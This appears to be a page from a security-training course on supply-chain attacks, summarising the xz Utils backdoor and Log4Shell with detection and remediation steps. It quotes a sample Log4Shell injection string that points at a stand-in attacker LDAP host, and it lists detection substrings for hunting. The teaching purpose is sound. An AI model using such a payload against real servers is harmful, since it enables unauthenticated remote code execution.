NexurAI
When the malicious code arrives inside software you already trust - dependencies and backdoored builds.
The hardest attacks to catch arrive inside code you already trust. This path studies the supply-chain class: a backdoor planted in a widely-used dependency (xz Utils) and a ubiquitous library flaw that shipped inside thousands of apps (Log4Shell). The lesson: you must inventory and verify third-party code, not just your own.
A backdoor secretly planted by a trusted maintainer in xz Utils targeted sshd, nearly enabling remote unauthorized access across major Linux distros - caught by luck.
xz/liblzma 5.6.0-5.6.1 (supply chain) · 2024
The malicious build injected code that hooked into sshd via liblzma, aiming to allow a key-bearing attacker to bypass authentication - a textbook build/maintainer supply-chain compromise.
Inventory installed xz/liblzma versions (5.6.0/5.6.1), diff distro packages against known-good, and monitor build/maintainer changes; watch sshd for anomalous behavior.
Downgrade xz to a safe version, rebuild affected systems, and adopt reproducible builds + dependency provenance (SLSA) to catch the next one.
A JNDI lookup in Log4j lets an attacker who controls any logged string trigger remote class loading - unauthenticated RCE in one log line.
Apache Log4j 2 (2.0-beta9 to 2.14.1) · 2021
The attacker sends a string like ${jndi:ldap://attacker/a} in any field that gets logged (User-Agent, headers, chat, form fields). Log4j resolves the JNDI lookup, fetches a remote class, and executes it.
Hunt for 'jndi:', 'ldap:', 'rmi:', 'dns:' substrings in request logs and headers; alert on servers making unexpected outbound LDAP/RMI/DNS to the internet; watch for java spawning shells.
Upgrade to Log4j 2.17.1+, remove the JndiLookup class, block egress from app servers, and set log4j2.formatMsgNoLookups=true on older versions.
Turn this knowledge into detections you can prove - write real rules scored on precision and recall.